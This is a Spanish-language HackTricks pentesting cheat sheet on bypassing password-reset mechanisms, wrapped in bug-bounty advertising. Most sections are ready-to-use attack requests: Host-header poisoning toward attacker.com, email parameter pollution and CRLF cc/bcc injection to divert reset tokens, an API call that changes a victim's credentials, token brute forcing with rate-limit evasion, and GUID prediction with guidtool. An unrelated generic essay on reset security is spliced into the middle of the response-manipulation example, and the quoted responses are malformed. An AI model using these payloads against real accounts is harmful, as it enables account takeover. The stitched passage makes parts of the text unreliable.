hacktricks/pentesting-web/reset-password.md

18 KiB

Bypass de Restablecimiento/Olvido de Contraseña

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Las siguientes técnicas de recompilación fueron tomadas de https://anugrahsr.github.io/posts/10-Password-reset-flaws/

Fuga de Token de Restablecimiento de Contraseña a través del Referer

El referer HTTP es un campo de encabezado HTTP opcional que identifica la dirección de la página web que está vinculada al recurso que se solicita. El encabezado de solicitud Referer contiene la dirección de la página web anterior desde la cual se siguió un enlace a la página actualmente solicitada.

Explotación

  • Solicita el restablecimiento de contraseña a tu dirección de correo electrónico
  • Haz clic en el enlace de restablecimiento de contraseña
  • No cambies la contraseña
  • Haz clic en cualquier sitio web de terceros (por ejemplo: Facebook, Twitter)
  • Intercepta la solicitud en el proxy de Burp Suite
  • Verifica si el encabezado referer está filtrando el token de restablecimiento de contraseña.

Impacto

Permite a la persona que tiene el control de un sitio en particular cambiar la contraseña del usuario (ataque CSRF), porque esta persona conoce el token de restablecimiento de contraseña del usuario.

Referencia:

Envenenamiento de Restablecimiento de Contraseña

¡Si encuentras un ataque de encabezado de host y está fuera del alcance, intenta encontrar el botón de restablecimiento de contraseña!

Explotación

  • Intercepta la solicitud de restablecimiento de contraseña en Burp Suite
  • Agrega el siguiente encabezado o edita el encabezado en Burp Suite (prueba uno por uno)
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • Verificar si el enlace para cambiar la contraseña dentro del correo electrónico apunta a attacker.com

Parche

Usar $_SERVER['SERVER_NAME'] en lugar de $_SERVER['HTTP_HOST']

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

Impacto

La víctima recibirá el enlace malicioso en su correo electrónico y, al hacer clic en él, filtrará el enlace / token de restablecimiento de contraseña del usuario al atacante, lo que resultará en la toma completa de la cuenta.

Referencia:

Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico

Explotación

  • Agregar el correo electrónico del atacante como segundo parámetro usando &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Agrega el correo electrónico del atacante como segundo parámetro usando %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agregar el correo electrónico del atacante como segundo parámetro usando |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Agregar el correo electrónico del atacante como segundo parámetro usando cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agregar el correo electrónico del atacante como segundo parámetro usando bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Agrega el correo electrónico del atacante como segundo parámetro usando ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Agregar el correo electrónico del atacante como segundo parámetro en el arreglo json
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Referencia

Cambiar el correo electrónico y la contraseña de cualquier usuario a través de los parámetros de la API

Explotación

  • El atacante debe iniciar sesión con su cuenta e ir a la función de cambio de contraseña
  • Iniciar Burp Suite y interceptar la solicitud
  • Después de interceptar la solicitud, enviarla al repetidor y modificar los parámetros de correo electrónico y contraseña
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Referencia

Sin límite de velocidad: bombardeo de correos electrónicos

Explotación

  • Inicie Burp Suite e intercepte la solicitud de restablecimiento de contraseña
  • Envíelo a Intruder
  • Use una carga útil nula

Referencia

Descubra cómo se genera el token de restablecimiento de contraseña

Descubra el patrón del token de restablecimiento de contraseña

Si se

  • Genera en función de la marca de tiempo
  • Genera en función del ID de usuario
  • Genera en función del correo electrónico del usuario
  • Genera en función del nombre y apellido
  • Genera en función de la fecha de nacimiento
  • Genera en función de la criptografía

Use Burp Sequencer para encontrar la aleatoriedad o previsibilidad de los tokens.

GUID adivinable

Existen diferentes tipos de GUID:

  • Versión 0: Solo se ve en el GUID nulo ("00000000-0000-0000-0000-000000000000").
  • Versión 1: El GUID se genera de manera predecible en función de:
  • La hora actual
  • Una "secuencia de reloj" generada aleatoriamente que permanece constante entre GUID durante el tiempo de actividad del sistema generador
  • Un "ID de nodo", que se genera en función de la dirección MAC del sistema si está disponible
  • Versión 3: El GUID se genera utilizando un hash MD5 de un nombre y un espacio de nombres proporcionados.
  • Versión 4: El GUID se genera de forma aleatoria.
  • Versión 5: El GUID se genera utilizando un hash SHA1 de un nombre y un espacio de nombres proporcionados.

Es posible echar un vistazo a un GUID y descubrir su versión, hay una pequeña herramienta para eso: guidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

Si se utiliza la versión 1 para generar un GUID de restablecimiento de contraseña, es posible realizar un ataque de fuerza bruta a los GUIDs:

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

Referencias

Manipulación de respuesta: Reemplazar una respuesta incorrecta por una correcta

Busque solicitudes y respuestas como estas

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Restablecimiento de contraseña

Cuando se realiza una prueba de penetración en una aplicación web, una de las áreas clave a evaluar es el proceso de restablecimiento de contraseña. Este proceso es crítico ya que, si se implementa de manera incorrecta, puede permitir a un atacante obtener acceso no autorizado a la cuenta de un usuario.

Identificación de debilidades

Durante la fase de identificación de debilidades, es importante buscar posibles vulnerabilidades en el proceso de restablecimiento de contraseña. Algunas de las debilidades comunes incluyen:

  • Fuerza bruta: La falta de medidas de protección contra ataques de fuerza bruta puede permitir a un atacante adivinar contraseñas débiles o predecibles.
  • Preguntas de seguridad débiles: Las preguntas de seguridad débiles o predecibles pueden permitir a un atacante obtener respuestas fácilmente y restablecer la contraseña.
  • Enlaces de restablecimiento de contraseña inseguros: Los enlaces de restablecimiento de contraseña que no están protegidos adecuadamente pueden ser interceptados por un atacante y utilizados para restablecer la contraseña de un usuario legítimo.
  • Falta de límites en los intentos de restablecimiento: La falta de límites en los intentos de restablecimiento de contraseña puede permitir a un atacante realizar ataques de fuerza bruta sin restricciones.

Explotación de debilidades

Una vez identificadas las debilidades en el proceso de restablecimiento de contraseña, se pueden explotar de varias formas:

  • Ataques de fuerza bruta: Se pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta y adivinar contraseñas débiles o predecibles.
  • Suplantación de identidad: Si se pueden obtener respuestas a las preguntas de seguridad o interceptar enlaces de restablecimiento de contraseña, se puede suplantar la identidad del usuario legítimo y restablecer su contraseña.
  • Ataques de interceptación: Si los enlaces de restablecimiento de contraseña no están protegidos adecuadamente, se pueden interceptar y utilizar para restablecer la contraseña de un usuario legítimo.

Recomendaciones de seguridad

Para proteger el proceso de restablecimiento de contraseña, se recomienda seguir estas mejores prácticas:

  • Implementar medidas de protección contra ataques de fuerza bruta: Esto puede incluir la implementación de bloqueos temporales después de varios intentos fallidos de restablecimiento de contraseña.
  • Utilizar preguntas de seguridad fuertes: Las preguntas de seguridad deben ser difíciles de adivinar y no estar relacionadas con información fácilmente accesible.
  • Proteger los enlaces de restablecimiento de contraseña: Los enlaces de restablecimiento de contraseña deben ser únicos, de un solo uso y estar protegidos mediante cifrado o tokens de seguridad.
  • Limitar los intentos de restablecimiento: Se deben establecer límites en los intentos de restablecimiento de contraseña para evitar ataques de fuerza bruta.

Al seguir estas recomendaciones, se puede fortalecer la seguridad del proceso de restablecimiento de contraseña y proteger la información confidencial de los usuarios.

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Referencia

Usando un Token Expirado

  • Verificar si el token expirado puede ser reutilizado

Fuerza Bruta en el Token de Restablecimiento de Contraseña

Intentar realizar un ataque de fuerza bruta en el token de restablecimiento utilizando Burpsuite

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • Utiliza IP-Rotator en burpsuite para evadir el límite de velocidad basado en IP.

Referencia

Intenta Usar Tu Token

  • Intenta agregar tu token de restablecimiento de contraseña junto con la cuenta de la víctima.
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

Referencia

Invalidación de sesión en Cierre de sesión/Restablecimiento de contraseña

Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debe ser invalidada.
Por lo tanto, captura las cookies mientras el usuario está conectado, cierra sesión y verifica si las cookies siguen siendo válidas.
Repite el proceso cambiando la contraseña en lugar de cerrar sesión.

Tiempo de expiración del token de restablecimiento

Los tokens de restablecimiento deben tener un tiempo de expiración, después de eso el token no debería ser válido para cambiar la contraseña de un usuario.

Verificaciones adicionales

  • Utiliza username@burp_collab.net y analiza la devolución de llamada
  • Usuario con copia oculta de correo electrónico=victim@mail.com%0a%0dcc:hacker@mail.com
  • Una contraseña larga (>200) provoca una denegación de servicio (DoS)
  • Agrega un segundo parámetro y valor de correo electrónico

HackenProof es el hogar de todas las recompensas por errores de cifrado.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof y comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥